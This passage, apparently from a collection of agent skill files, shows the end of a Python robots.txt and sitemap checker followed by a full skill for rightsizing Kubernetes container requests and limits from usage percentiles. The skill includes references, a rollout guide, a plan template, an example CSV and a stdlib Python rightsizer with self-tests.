L.append(f"Sitemap ({s['type']}): {s['urls']} URLs, {s['blocked']} blocked by robots.txt, {s['off_site']} off-site")
if r["url_checks"]:
L += ["", "| URL | Expected | Result | Deciding rule |", "|---|---|---|---|"]
for c in r["url_checks"]:
res = "allowed" if c["allowed"] else "blocked"
good = (c["expect"] == "crawl") == c["allowed"]
L.append(f"| {c['path']} | {c['expect']} | {res}{'' if good else ' (WRONG)'} | {c['rule']} |")
L += ["", f"## Findings (status {r['status']})"]
L += [f"- {x['severity']} {x['code']}: {x['message']}" for x in r["findings"]] or ["- none"]
return "\n".join(L) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
def codes(r):
return {x["code"] for x in r["findings"]}
R = lambda t: pick_group(parse_robots(t)[0], "Googlebot")
rules = R("User-agent: *\nDisallow: /shop/\nAllow: /shop/products/\n")
ok("longest match wins (allow deeper path)", decide(rules, "/shop/products/a")[0] and not decide(rules, "/shop/cart")[0])
ok("tie goes to allow", decide(R("User-agent: *\nDisallow: /p\nAllow: /p\n"), "/p")[0])
ok("no rule = allowed", decide(rules, "/blog/")[0])
wild = R("User-agent: *\nDisallow: /*?sort=\nDisallow: /*.pdf$\n")
ok("* wildcard matches query", not decide(wild, "/shop/shoes?sort=price")[0])
ok("$ anchors end", not decide(wild, "/files/a.pdf")[0] and decide(wild, "/files/a.pdf?x=1")[0])
ok("empty Disallow allows everything", decide(R("User-agent: *\nDisallow:\n"), "/x")[0])
spec = parse_robots("User-agent: *\nDisallow: /\n\nUser-agent: Googlebot\nDisallow: /private/\n")[0]
ok("specific group beats *", decide(pick_group(spec, "Googlebot"), "/shop")[0] and not decide(pick_group(spec, "Bingbot"), "/shop")[0])
ok("googlebot-image uses longest token", pick_group(parse_robots("User-agent: googlebot\nDisallow: /a\nUser-agent: googlebot-image\nDisallow: /b\n")[0], "Googlebot-Image")[0][1] == "/b")
multi = parse_robots("User-agent: a\nUser-agent: b\nDisallow: /x\n")[0]
ok("consecutive user-agents share a group", len(multi) == 1 and multi[0]["agents"] == ["a", "b"])
ok("comments stripped", R("User-agent: * # all\nDisallow: /tmp/ # temp\n")[0][1] == "/tmp/")
base = {"site": "https://www.shop.test", "robots_txt": "User-agent: *\nDisallow: /\n"}
r = check(base, dt.date(2026, 10, 23))
ok("block all is CRITICAL", "BLOCK_ALL" in codes(r) and r["status"] == "CRITICAL")
r = check({**base, "robots_txt": ["User-agent: *", "Disallow: /checkout/", "Sitemap: https://www.shop.test/sitemap.xml"],
"must_crawl": ["/checkout/thanks"], "must_block": ["/admin/"]}, dt.date(2026, 10, 23))
ok("must_crawl blocked is HIGH", "MUST_CRAWL_BLOCKED" in codes(r) and r["status"] == "HIGH")
ok("must_block crawlable is MEDIUM", "MUST_BLOCK_CRAWLABLE" in codes(r))
ok("list of lines accepted, sitemap line read", r["sitemaps_declared"] == ["https://www.shop.test/sitemap.xml"])
r = check({**base, "robots_txt": "Disallow: /x\nUser-agent: *\nNoindex: /tmp/\nCrawl-delay: 5\nDisalow: /y\nSitemap: /sitemap.xml\nDisallow: /assets/\n"}, dt.date(2026, 10, 23))
for c in ("RULE_OUTSIDE_GROUP", "UNSUPPORTED_RULE", "CRAWL_DELAY_IGNORED", "UNKNOWN_DIRECTIVE", "SITEMAP_RELATIVE", "ASSETS_BLOCKED"):
ok(c + " flagged", c in codes(r))
ok("missing sitemap line flagged", "NO_SITEMAP_LINE" in codes(check({**base, "robots_txt": "User-agent: *\nDisallow:\n"})))
sm = ('<?xml version="1.0"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
"<url><loc>https://www.shop.test/a</loc><lastmod>2026-10-01</lastmod></url>"
"<url><loc>https://www.shop.test/a</loc></url>"
"<url><loc>http://www.shop.test/b</loc><lastmod>01/10/2026</lastmod></url>"
"<url><loc>https://www.shop.test/cart/x</loc><lastmod>2030-01-01T00:00:00+00:00</lastmod></url></urlset>")
r = check({**base, "robots_txt": "User-agent: *\nDisallow: /cart/\nSitemap: https://www.shop.test/sitemap.xml\n", "sitemap_xml": sm}, dt.date(2026, 10, 23))
for c in ("SITEMAP_DUPLICATE", "SITEMAP_OFF_SITE", "LASTMOD_INVALID", "LASTMOD_FUTURE", "SITEMAP_URL_BLOCKED"):
ok(c + " flagged", c in codes(r))
ok("sitemap counts", r["sitemap"] == {"type": "urlset", "urls": 4, "blocked": 1, "off_site": 1})
ok("bad XML is HIGH SITEMAP_PARSE_ERROR", "SITEMAP_PARSE_ERROR" in codes(check({**base, "robots_txt": "", "sitemap_xml": "<urlset><url>"})))
idx = '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.shop.test/s1.xml</loc></sitemap></sitemapindex>'
ok("sitemap index read", check({**base, "robots_txt": "", "sitemap_xml": idx})["sitemap"]["type"] == "sitemapindex")
for bad, label in (({"robots_txt": ""}, "missing site"), ({"site": "https://x.test/path", "robots_txt": ""}, "site with path"),
({"site": "https://x.test"}, "missing robots_txt")):
try:
check(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Check robots.txt rules and an XML sitemap offline.")
ap.add_argument("bundle", nargs="?", help="JSON bundle (see module docstring)")
ap.add_argument("--robots", help="robots.txt file (instead of a bundle)")
ap.add_argument("--sitemap", help="sitemap.xml file")
ap.add_argument("--site", help="site origin, e.g. https://www.example.com")
ap.add_argument("--agent", help="crawler name (default Googlebot)")
ap.add_argument("--allow", action="append", default=[], help="URL or path that must be crawlable (repeatable)")
ap.add_argument("--block", action="append", default=[], help="URL or path that should be blocked (repeatable)")
ap.add_argument("--today", help="date for the future-lastmod check (default today)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
try:
if a.bundle:
b = json.load(open(a.bundle, encoding="utf-8"))
elif a.robots:
b = {"site": a.site, "robots_txt": open(a.robots, encoding="utf-8").read(),
"sitemap_xml": open(a.sitemap, encoding="utf-8").read() if a.sitemap else None,
"must_crawl": a.allow, "must_block": a.block}
else:
ap.error("give a JSON bundle, --robots FILE or --self-test")
if a.agent:
b["user_agent"] = a.agent
today = dt.date.fromisoformat(a.today) if a.today else None
r = check(b, today)
except (OSError, ValueError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else report(r), end="\n" if a.json else "")
return 1 if r["status"] in ("CRITICAL", "HIGH") else 0
if __name__ == "__main__":
sys.exit(main())Rightsizes Kubernetes CPU and memory requests and limits from real usage (p50, p95 and max per container). Recommends requests at p95 plus headroom, memory limits above the peak and no CPU limits, and estimates the cores, GiB and money freed. Flags OOM kills, memory above the request, CPU throttling, missing requests or memory limits, overprovisioning and short data windows. Includes a stdlib Python rightsizer with --self-test.
---
name: kubernetes-resource-requests-rightsizer
description: Rightsizes Kubernetes CPU and memory requests and limits from real usage (p50, p95 and max per container). Recommends requests at p95 plus headroom, memory limits above the peak and no CPU limits, and estimates the cores, GiB and money freed. Flags OOM kills, memory above the request, CPU throttling, missing requests or memory limits, overprovisioning and short data windows. Includes a stdlib Python rightsizer with --self-test.
---
# Kubernetes Resource Requests Rightsizer
You help platform engineers, SREs and developers set Kubernetes container requests and limits from evidence instead of guesses. From usage percentiles exported from Prometheus, Datadog or a VPA recommender, you propose new requests and limits per container, explain the risky ones first (OOM kills, throttling, eviction risk), estimate what the cluster saves, and plan a safe rollout.
## Files in this skill
- `scripts/rightsize.py` - reads a CSV of current settings and usage percentiles per container and prints recommended requests and limits, findings and the requests freed (Python 3 standard library only)
- `references/sizing-method.md` - what requests and limits do, the sizing rules, which metrics to collect (with PromQL), and how to read throttled or OOM-killed containers
- `references/rollout-and-guardrails.md` - change order, safe rollout and rollback, LimitRange, ResourceQuota, VPA, alerts, and when not to cut
- `templates/rightsizing-plan.md` - a rightsizing plan to share with the team or attach to a change ticket
- `examples/shop-cluster-usage.csv` - six containers of a shop: an oversized API, its sidecar, an OOM-killed throttled search service, a worker without a memory limit, Redis and a log shipper with no requests
## Workflow
### 1. Collect usage
Ask for at least 7 days (better 14-28) of per-container numbers: replicas, current requests and limits, CPU p50/p95/max in millicores, memory working set p50/p95/max in MiB, throttled percentage and OOM kills. `references/sizing-method.md` has the PromQL for each. Ask what each workload does, how traffic varies (weekly peaks, sales, batch jobs) and whether an HPA scales it.
### 2. Run the rightsizer
```
python3 scripts/rightsize.py examples/shop-cluster-usage.csv --core-month 24 --gib-month 3.2
python3 scripts/rightsize.py usage.csv --headroom 25 --keep-cpu-limits --json
python3 scripts/rightsize.py --self-test
```
Prices are optional and per requested core or GiB per month. Exit code 1 means CRITICAL or HIGH findings, 2 means bad input.
### 3. Explain and plan
Start with CRITICAL and HIGH containers: say what goes wrong today, the evidence, and the change. For throttled or OOM-killed containers, say the usage numbers are capped and plan a second measurement after the fix. Then list the biggest savings (replicas multiply them). Check the cases in `references/rollout-and-guardrails.md` where cutting is unsafe, and mention HPA retuning when requests change.
### 4. Deliver
Fill `templates/rightsizing-plan.md` with the table, a YAML patch per workload, the rollout order, what to watch and the re-measure date.
## Example result
For `examples/shop-cluster-usage.csv`: shop/catalog-search/app is CRITICAL (3 OOM kills at a 1536Mi limit, memory p95 1180Mi above its 1024Mi request, 31% CPU throttling at a 500m limit) and gets 570m / 1360Mi requests, a 1872Mi memory limit and no CPU limit; ops/log-shipper has no requests at all (HIGH, 8 replicas); shop/image-resizer needs a memory limit and more memory; shop/checkout-api/app drops from 1000m / 2048Mi to 485m / 912Mi on 6 replicas. In total 1.76 cores and 4.06 GiB of requests are freed, about 55 a month at 24 per core and 3.2 per GiB.
## Rules
- Fix reliability risks before savings, and never recommend removing a memory limit.
- Say which percentile, window and headroom every number comes from, and that rare peaks outside the window are not covered.
- Treat usage of throttled or OOM-killed containers as a floor, not the real demand.
- Give changes as manifest or Helm values patches for review; do not run `kubectl` commands against a live cluster yourself.
- Report savings as requests freed until nodes are actually removed.
FILE:references/sizing-method.md
# Sizing Method
## What requests and limits do
- **CPU request:** what the scheduler reserves on a node and the container's share of CPU when the node is busy. Too low: the pod lands on crowded nodes and slows down under load. Too high: nodes look full while sitting idle, so you pay for empty cores.
- **CPU limit:** a hard cap enforced by CFS quota in 100 ms periods. A container that hits it is throttled, even when the node has idle CPU. Latency-sensitive services (APIs, proxies, JVMs and Go programs with many threads) suffer most.
- **Memory request:** what the scheduler reserves. Pods using more than their request are the first to be evicted when a node runs out of memory.
- **Memory limit:** a hard cap; going over it means an OOM kill (exit code 137, reason `OOMKilled`). Memory cannot be throttled.
- **QoS classes:** Guaranteed (requests = limits for every container), Burstable (some requests set), BestEffort (nothing set, evicted first).
## The rules used by `scripts/rightsize.py`
| Setting | Rule | Why |
|---|---|---|
| CPU request | p95 x (1 + headroom), up to 5m steps, at least 10m | covers normal busy periods; the rest is shared idle CPU |
| CPU limit | removed (or `--keep-cpu-limits`: max(max x 1.2, 2 x request)) | limits throttle bursts even on idle nodes |
| Memory request | p95 x (1 + headroom), up to 16Mi steps, at least 32Mi | keeps the pod out of the eviction line |
| Memory limit | max(max x 1.25, request), up to 16Mi steps | room for peaks; never removed, a leak must not take the node down |
Default headroom is 15%. Use 25-30% for spiky traffic, batch jobs or when the data window is short.
## Which numbers to collect
Per container, over at least 7 days (14-28 days catches weekly and month-end peaks):
- CPU in millicores: p50, p95 and max of `rate(container_cpu_usage_seconds_total[5m]) * 1000`
- Memory in MiB: p50, p95 and max of `container_memory_working_set_bytes / 2^20` (working set is what the OOM killer and eviction look at, not RSS or cache)
- Throttling: `container_cpu_cfs_throttled_periods_total / container_cpu_cfs_periods_total * 100`
- OOM kills: `kube_pod_container_status_last_terminated_reason{reason="OOMKilled"}` or restarts with exit code 137
- Current settings: `kubectl get deploy -o jsonpath` or `kube_pod_container_resource_requests` / `_limits`
## Reading the results
- **Throttled containers** report usage capped at the limit, so p95 understates real demand. Raise or remove the limit first, measure again for a few days, then size.
- **OOM kills** mean the max is unknown (the container died at the limit). Raise the memory limit by 50% or more, find the leak or the large request, then re-measure.
- **JVM, Node.js and Go** read their heap from settings: change `-Xmx`, `--max-old-space-size` or `GOMEMLIMIT` together with the memory limit (heap around 70-75% of the limit).
- **Sidecars** (istio-proxy, log shippers) are sized separately; their numbers multiply by every replica.
- **HPA on CPU** scales on usage divided by the request. Lowering the request makes the HPA scale out earlier, so lower `averageUtilization` targets or the replica count may change. Rightsize first, then retune the HPA.
## Limits of this method
- Percentiles over a window miss rare events: a monthly batch, a sale, a cache rebuild after deploys.
- Usage per container is averaged over replicas; a hot shard or leader pod needs its own row.
- Node bin-packing, DaemonSet overhead and allocatable memory decide the real saving; freed requests only turn into money when nodes are removed.
FILE:references/rollout-and-guardrails.md
# Rollout and Guardrails
## Change order
1. **Fix risk first:** OOM kills, memory p95 above the request, heavy throttling, missing requests. These cause incidents; savings can wait.
2. **Then cut waste:** OVERPROVISIONED containers, largest replica count first, because the saving multiplies.
3. **One workload at a time,** in staging first when it has real traffic, then production in a quiet window.
## Safe rollout steps
1. Change requests and limits in Git (Helm values, Kustomize patch or the manifest), never with `kubectl edit` on production.
2. Keep the rollout gradual: `maxUnavailable: 0`, `maxSurge: 25%` and a PodDisruptionBudget, so new pods with new sizes come up before old ones go.
3. Watch for 24-48 hours: p95 latency, error rate, throttling, OOM kills, restarts, evictions and HPA replica counts.
4. Rollback = revert the commit. Lowering a request never kills running pods, but pods are recreated by the rollout.
## Example patch
```yaml
resources:
requests:
cpu: 485m
memory: 912Mi
limits:
memory: 1136Mi # no cpu limit on purpose: avoid CFS throttling
```
## Cluster guardrails
- **LimitRange** per namespace: default requests and a default memory limit, so BestEffort pods cannot appear.
- **ResourceQuota** per namespace: caps total requests so one team cannot fill the cluster.
- **Vertical Pod Autoscaler** in `updateMode: "Off"` gives recommendations to compare with this skill's numbers without restarting pods. Do not let VPA (Auto) and an HPA on CPU or memory control the same workload.
- **Alerts:** OOMKilled in the last hour, throttling over 25% for 15 minutes, memory working set over 90% of the limit, pods Pending for lack of resources.
## When not to cut
- Workloads with known rare peaks the data window did not include (month-end, Black Friday, quarterly reports).
- Pods whose start-up uses much more CPU than steady state (JVM warm-up): keep a higher request or use a startup probe with a generous delay.
- Databases and caches with a configured memory size (Redis `maxmemory`, PostgreSQL `shared_buffers`): the memory limit must stay above the configured size plus overhead.
- Guaranteed QoS needed on purpose (latency-critical, CPU pinning with the static CPU manager policy): keep requests equal to limits.
## Turning freed requests into savings
Freed requests only lower the bill when the cluster autoscaler (or Karpenter) can remove nodes. Check node utilisation by requests after the change and allow a day for consolidation. Report savings as "requests freed" until node counts actually drop.
FILE:templates/rightsizing-plan.md
# Rightsizing Plan - <cluster / namespace> - <date>
**Data:** <Prometheus / Datadog / other>, <first day> to <last day> (<n> days) **Headroom:** <15>% **Owner:** <name>
## Risks to fix first
| Container | Finding | Evidence | Change | Due |
|---|---|---|---|---|
| | | | | |
## Requests and limits
| Container | Replicas | CPU req (now -> new) | CPU limit | Mem req (now -> new) | Mem limit (now -> new) | Status |
|---|---|---|---|---|---|---|
| | | | | | | |
## Savings
- Requests freed: <cores> cores, <GiB> GiB
- Estimated monthly saving: <amount> (at <price per core> / <price per GiB>); real once nodes scale down
## Rollout
| Step | Workload | Environment | Date | Watch | Rollback |
|---|---|---|---|---|---|
| 1 | | staging | | latency, OOM, throttling | revert commit |
## Follow-up
- Re-measure on <date> with fresh percentiles
- Guardrails: LimitRange defaults <...>, alerts <...>
FILE:examples/shop-cluster-usage.csv
namespace,workload,container,replicas,cpu_request_m,cpu_limit_m,mem_request_mi,mem_limit_mi,cpu_p50_m,cpu_p95_m,cpu_max_m,mem_p50_mi,mem_p95_mi,mem_max_mi,throttled_pct,oom_kills,days
shop,checkout-api,app,6,1000,2000,2048,2048,180,420,1350,610,780,905,0,0,14
shop,checkout-api,istio-proxy,6,100,2000,128,1024,35,90,240,70,95,120,0,0,14
shop,catalog-search,app,4,500,500,1024,1536,310,495,500,900,1180,1490,31,3,14
shop,image-resizer,worker,3,250,1000,512,,120,380,950,340,610,1720,4,0,14
shop,cart-redis,redis,1,200,,768,1024,40,75,160,690,712,730,0,0,14
ops,log-shipper,fluent-bit,8,,,,,25,60,180,45,70,95,0,0,5
FILE:scripts/rightsize.py
#!/usr/bin/env python3
"""Kubernetes resource requests rightsizer (Python 3 standard library only).
Input: CSV with a header row, one row per container, columns
namespace,workload,container,replicas,
cpu_request_m,cpu_limit_m,mem_request_mi,mem_limit_mi,
cpu_p50_m,cpu_p95_m,cpu_max_m,mem_p50_mi,mem_p95_mi,mem_max_mi,
throttled_pct,oom_kills,days
CPU in millicores (m), memory in MiB (Mi). Empty request/limit cells mean "not set".
throttled_pct = share of CFS periods throttled (0-100); oom_kills and days may be empty (0 / unknown).
Recommendation per container (headroom default 15%, --headroom):
cpu request = p95 x (1 + headroom), rounded up to 5m, at least 10m
cpu limit = none (recommended), unless --keep-cpu-limits: max(cpu max x 1.2, 2 x request), 50m steps
mem request = p95 x (1 + headroom), rounded up to 16Mi, at least 32Mi
mem limit = max(mem max x 1.25, request), rounded up to 16Mi (never removed)
Findings (severity):
CRITICAL OOM_RISK OOM kills seen, or memory max >= 95% of the memory limit
HIGH NO_REQUESTS cpu or memory request missing (BestEffort / poor scheduling)
HIGH MEM_UNDER_REQUEST memory p95 above the memory request (eviction risk under node pressure)
HIGH CPU_THROTTLED throttled_pct >= 25
MEDIUM CPU_THROTTLED throttled_pct 10-25
MEDIUM CPU_UNDER_REQUEST cpu p95 above 1.2 x cpu request (noisy neighbours, slow under load)
MEDIUM NO_MEMORY_LIMIT memory limit missing (one leak can take the node down)
LOW OVERPROVISIONED recommended cpu or memory request < 50% of current
LOW SHORT_WINDOW under 7 days of data (misses weekly peaks; trust less)
Savings: (current - recommended requests) x replicas, totals in cores and GiB, and a monthly
estimate when --core-month and --gib-month prices are given.
Usage:
python3 rightsize.py usage.csv
python3 rightsize.py usage.csv --headroom 25 --core-month 24 --gib-month 3.2 --json
python3 rightsize.py --self-test
Exit code: 0 no CRITICAL/HIGH, 1 CRITICAL or HIGH findings, 2 bad input.
"""
import argparse
import csv
import io
import json
import math
import sys
COLUMNS = ("namespace", "workload", "container", "replicas", "cpu_request_m", "cpu_limit_m",
"mem_request_mi", "mem_limit_mi", "cpu_p50_m", "cpu_p95_m", "cpu_max_m",
"mem_p50_mi", "mem_p95_mi", "mem_max_mi", "throttled_pct", "oom_kills", "days")
OPTIONAL = {"cpu_request_m", "cpu_limit_m", "mem_request_mi", "mem_limit_mi", "throttled_pct", "oom_kills", "days"}
SEV_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3}
class DataError(ValueError):
pass
def up(x, step):
return int(math.ceil(x / step - 1e-9) * step)
def num(row, col, line):
v = row.get(col, "")
if v == "":
if col in OPTIONAL:
return None
raise DataError(f"line {line}: {col} is required")
try:
x = float(v)
except ValueError:
raise DataError(f"line {line}: {col} must be a number, got {v!r}")
if x < 0:
raise DataError(f"line {line}: {col} must be >= 0")
return x
def read_rows(text):
rd = csv.DictReader(io.StringIO(text))
if not rd.fieldnames:
raise DataError("empty CSV")
missing = [c for c in COLUMNS if c not in {f.strip() for f in rd.fieldnames}]
if missing:
raise DataError("CSV header is missing: " + ", ".join(missing))
rows = []
for n, raw in enumerate(rd, start=2):
row = {k.strip(): (v or "").strip() for k, v in raw.items() if k}
if not any(row.values()):
continue
r = {c: row[c] for c in ("namespace", "workload", "container")}
for c in COLUMNS[3:]:
r[c] = num(row, c, n)
if r["replicas"] < 1:
raise DataError(f"line {n}: replicas must be >= 1")
if r["cpu_p95_m"] > r["cpu_max_m"] or r["mem_p95_mi"] > r["mem_max_mi"]:
raise DataError(f"line {n}: p95 cannot be above max")
rows.append(r)
if not rows:
raise DataError("no data rows")
return rows
def analyze(r, headroom=0.15, keep_cpu_limits=False):
h = 1 + headroom
rec = {
"cpu_request_m": max(10, up(r["cpu_p95_m"] * h, 5)),
"mem_request_mi": max(32, up(r["mem_p95_mi"] * h, 16)),
}
rec["cpu_limit_m"] = max(up(r["cpu_max_m"] * 1.2, 50), up(2 * rec["cpu_request_m"], 50)) if keep_cpu_limits else None
rec["mem_limit_mi"] = max(rec["mem_request_mi"], up(r["mem_max_mi"] * 1.25, 16))
findings = []
def f(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
cr, cl, mr, ml = r["cpu_request_m"], r["cpu_limit_m"], r["mem_request_mi"], r["mem_limit_mi"]
oom = r["oom_kills"] or 0
if oom > 0:
f("CRITICAL", "OOM_RISK", f"{oom:g} OOM kill(s); memory max {r['mem_max_mi']:g}Mi vs limit {fmt(ml, 'Mi')}")
elif ml and r["mem_max_mi"] >= 0.95 * ml:
f("CRITICAL", "OOM_RISK", f"memory max {r['mem_max_mi']:g}Mi is {r['mem_max_mi'] / ml:.0%} of the {ml:g}Mi limit")
if cr is None or mr is None:
f("HIGH", "NO_REQUESTS", "missing " + " and ".join(x for x, v in (("cpu request", cr), ("memory request", mr)) if v is None))
if mr and r["mem_p95_mi"] > mr:
f("HIGH", "MEM_UNDER_REQUEST", f"memory p95 {r['mem_p95_mi']:g}Mi > request {mr:g}Mi")
th = r["throttled_pct"] or 0
if th >= 25:
f("HIGH", "CPU_THROTTLED", f"{th:g}% of CPU periods throttled at limit {fmt(cl, 'm')}; usage is capped, so real demand is higher")
elif th >= 10:
f("MEDIUM", "CPU_THROTTLED", f"{th:g}% of CPU periods throttled at limit {fmt(cl, 'm')}")
if cr and r["cpu_p95_m"] > 1.2 * cr:
f("MEDIUM", "CPU_UNDER_REQUEST", f"cpu p95 {r['cpu_p95_m']:g}m > 1.2 x request {cr:g}m")
if ml is None:
f("MEDIUM", "NO_MEMORY_LIMIT", "no memory limit set")
over = []
if cr and rec["cpu_request_m"] < 0.5 * cr:
over.append(f"cpu {cr:g}m -> {rec['cpu_request_m']}m")
if mr and rec["mem_request_mi"] < 0.5 * mr:
over.append(f"memory {mr:g}Mi -> {rec['mem_request_mi']}Mi")
if over:
f("LOW", "OVERPROVISIONED", "; ".join(over))
if r["days"] is not None and r["days"] < 7:
f("LOW", "SHORT_WINDOW", f"only {r['days']:g} days of data")
findings.sort(key=lambda x: SEV_ORDER[x["severity"]])
status = findings[0]["severity"] if findings and findings[0]["severity"] != "LOW" else "OK"
n = r["replicas"]
d_cpu = ((cr or 0) - rec["cpu_request_m"]) * n
d_mem = ((mr or 0) - rec["mem_request_mi"]) * n
return {"id": f"{r['namespace']}/{r['workload']}/{r['container']}", "replicas": int(n), "current": {
"cpu_request_m": cr, "cpu_limit_m": cl, "mem_request_mi": mr, "mem_limit_mi": ml},
"recommended": rec, "delta_cpu_m": d_cpu, "delta_mem_mi": d_mem, "status": status, "findings": findings}
def run(text, headroom=0.15, keep_cpu_limits=False, core_month=None, gib_month=None):
res = [analyze(r, headroom, keep_cpu_limits) for r in read_rows(text)]
res.sort(key=lambda x: (SEV_ORDER.get(x["status"], 4), x["id"]))
tot_cpu = sum(x["delta_cpu_m"] for x in res) / 1000
tot_mem = sum(x["delta_mem_mi"] for x in res) / 1024
out = {"containers": res, "freed_cores": round(tot_cpu, 3), "freed_gib": round(tot_mem, 3)}
if core_month is not None and gib_month is not None:
out["monthly_saving"] = round(tot_cpu * core_month + tot_mem * gib_month, 2)
return out
def fmt(v, unit):
return "none" if v is None else f"{v:g}{unit}"
def report(out, headroom):
L = ["# Kubernetes rightsizing report", "",
f"Requests = p95 + {headroom:.0%} headroom; CPU limits removed unless kept; memory limit = max x 1.25.", "",
"| Container | Replicas | Status | CPU req | CPU limit | Mem req | Mem limit |",
"|---|---|---|---|---|---|---|"]
for x in out["containers"]:
c, r = x["current"], x["recommended"]
L.append(f"| {x['id']} | {x['replicas']} | {x['status']} | {fmt(c['cpu_request_m'], 'm')} -> {r['cpu_request_m']}m"
f" | {fmt(c['cpu_limit_m'], 'm')} -> {fmt(r['cpu_limit_m'], 'm')}"
f" | {fmt(c['mem_request_mi'], 'Mi')} -> {r['mem_request_mi']}Mi"
f" | {fmt(c['mem_limit_mi'], 'Mi')} -> {r['mem_limit_mi']}Mi |")
L += ["", "## Findings"]
any_f = False
for x in out["containers"]:
for f in x["findings"]:
any_f = True
L.append(f"- {f['severity']} {f['code']} {x['id']}: {f['message']}")
if not any_f:
L.append("- none")
L += ["", "## Requests freed (negative = more needed)",
f"- CPU: {out['freed_cores']:g} cores", f"- Memory: {out['freed_gib']:g} GiB"]
if "monthly_saving" in out:
L.append(f"- Estimated monthly saving: {out['monthly_saving']:,.2f}")
return "\n".join(L) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
hdr = ",".join(COLUMNS) + "\n"
def row(**kw):
base = dict(namespace="ns", workload="w", container="c", replicas=1, cpu_request_m=500, cpu_limit_m=1000,
mem_request_mi=512, mem_limit_mi=1024, cpu_p50_m=100, cpu_p95_m=200, cpu_max_m=300,
mem_p50_mi=200, mem_p95_mi=300, mem_max_mi=400, throttled_pct=0, oom_kills=0, days=14)
base.update(kw)
return ",".join("" if base[c] is None else str(base[c]) for c in COLUMNS) + "\n"
def one(**kw):
return run(hdr + row(**kw))["containers"][0]
def codes(x):
return {(f["severity"], f["code"]) for f in x["findings"]}
x = one()
ok("cpu request = p95 x 1.15 rounded to 5m (230)", x["recommended"]["cpu_request_m"] == 230)
ok("mem request = 300 x 1.15 = 345 -> 352Mi", x["recommended"]["mem_request_mi"] == 352)
ok("mem limit = 400 x 1.25 = 500 -> 512Mi", x["recommended"]["mem_limit_mi"] == 512)
ok("cpu limit removed by default", x["recommended"]["cpu_limit_m"] is None)
ok("healthy container is OK", x["status"] == "OK")
ok("headroom 0.25 changes cpu request (250)", run(hdr + row(), headroom=0.25)["containers"][0]["recommended"]["cpu_request_m"] == 250)
k = run(hdr + row(), keep_cpu_limits=True)["containers"][0]["recommended"]["cpu_limit_m"]
ok("kept cpu limit = max(360->400, 460->500) = 500", k == 500)
ok("minimums 10m / 32Mi", one(cpu_p50_m=0, cpu_p95_m=1, cpu_max_m=2, mem_p50_mi=1, mem_p95_mi=2, mem_max_mi=3)["recommended"]
== {"cpu_request_m": 10, "mem_request_mi": 32, "cpu_limit_m": None, "mem_limit_mi": 32})
ok("OOM kills -> CRITICAL", ("CRITICAL", "OOM_RISK") in codes(one(oom_kills=2)) and one(oom_kills=2)["status"] == "CRITICAL")
ok("max at 98% of limit -> OOM_RISK", ("CRITICAL", "OOM_RISK") in codes(one(mem_max_mi=1004, mem_p95_mi=500)))
ok("missing requests -> HIGH NO_REQUESTS", ("HIGH", "NO_REQUESTS") in codes(one(cpu_request_m=None)))
ok("mem p95 above request -> HIGH", ("HIGH", "MEM_UNDER_REQUEST") in codes(one(mem_request_mi=256)))
ok("throttling 30% -> HIGH", ("HIGH", "CPU_THROTTLED") in codes(one(throttled_pct=30)))
ok("throttling 12% -> MEDIUM", ("MEDIUM", "CPU_THROTTLED") in codes(one(throttled_pct=12)))
ok("cpu p95 > 1.2 x request -> MEDIUM", ("MEDIUM", "CPU_UNDER_REQUEST") in codes(one(cpu_request_m=150)))
ok("no memory limit -> MEDIUM", ("MEDIUM", "NO_MEMORY_LIMIT") in codes(one(mem_limit_mi=None)))
big = one(cpu_request_m=2000, mem_request_mi=4096)
ok("overprovisioned flagged LOW, status stays OK", ("LOW", "OVERPROVISIONED") in codes(big) and big["status"] == "OK")
ok("short window flagged", ("LOW", "SHORT_WINDOW") in codes(one(days=3)))
two = run(hdr + row(replicas=3) + row(workload="b", replicas=2, cpu_request_m=100, mem_request_mi=256),
core_month=20, gib_month=4)
# w: (500-230)*3=810m, (512-352)*3=480Mi ; b: (100-230)*2=-260m, (256-352)*2=-192Mi
ok("freed cores = (810-260)/1000 = 0.55", two["freed_cores"] == 0.55)
ok("freed GiB = (480-192)/1024 = 0.281", two["freed_gib"] == 0.281)
ok("monthly saving = 0.55 x 20 + 0.28125 x 4 = 12.125", abs(two["monthly_saving"] - 12.125) < 0.01)
ok("sorted by severity", two["containers"][0]["id"] == "ns/b/c")
for bad, label in (("a,b\n1,2\n", "missing columns"), (hdr, "no rows"), (hdr + row(cpu_p95_m="x"), "bad number"),
(hdr + row(cpu_p95_m=900), "p95 above max"), (hdr + row(replicas=0), "zero replicas"),
(hdr + row(cpu_p95_m=None), "missing usage")):
try:
run(bad)
ok(label + " rejected", False)
except DataError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Rightsize Kubernetes container requests and limits from usage percentiles.")
ap.add_argument("file", nargs="?", help="CSV with the columns listed in the module docstring")
ap.add_argument("--headroom", type=float, default=15, help="percent added to p95 for requests (default 15)")
ap.add_argument("--keep-cpu-limits", action="store_true", help="recommend CPU limits instead of removing them")
ap.add_argument("--core-month", type=float, help="price of one requested core per month")
ap.add_argument("--gib-month", type=float, help="price of one requested GiB of memory per month")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a CSV file or --self-test")
try:
out = run(open(a.file, encoding="utf-8").read(), a.headroom / 100, a.keep_cpu_limits, a.core_month, a.gib_month)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(out, indent=2) if a.json else report(out, a.headroom / 100), end="\n" if a.json else "")
